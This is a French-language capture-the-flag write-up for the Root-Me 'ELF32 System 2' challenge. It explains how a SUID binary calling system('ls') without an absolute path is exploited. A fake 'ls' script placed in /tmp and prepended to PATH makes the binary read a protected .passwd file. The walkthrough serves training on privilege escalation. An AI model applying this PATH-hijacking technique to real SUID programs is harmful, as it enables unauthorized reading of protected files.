RootMe App-Script/Bash-System-2

Lien : https://www.root-me.org/fr/Challenges/App-Script/ELF32-System-2

On veut pouvoir lire le mot de passe du fichier .passwd mais il n’est lisible que par le propriétaire du fichier app-script-ch12-cracked.
Le code source de ch12.c utilise la fonction system() pour lister le répertoire du fichier .passwd. Par contre la commande ls est appelée dans la fonction system() sans spécifier le chemin absolu, c’est-à-dire /bin/ls. Puisque le fichier ch12 a le binaire SUID activé, il peut s’exécuter avec les droits du propriétaire. Quand la commande ls sera exécutée par la commande system(), le shell regardera au niveau des variables d’environnement PATH puis cherche la commande ls dans les répertoires. La commande qu’on aura manipulé sera donc exécutée à la place.
Créér le répertoire dans /tmp/script
mkdir /tmp/script
nano /tmp/script/ls
Écrire ensuite le script pour lire le fichier .passwd.
#!/bin/bash
cat /challenge/app-script/ch12/.passwd
Rendre le script ls exécutable
chmod +x /tmp/script/ls
Modifier la variable d’environnement PATH pour inclure notre script
export PATH=/tmp/script:$PATH
En vérifiant avec la command which ls, on voit que que le script est bien trouvé avant la commande ls.

On peut maintenant lire le fichier.



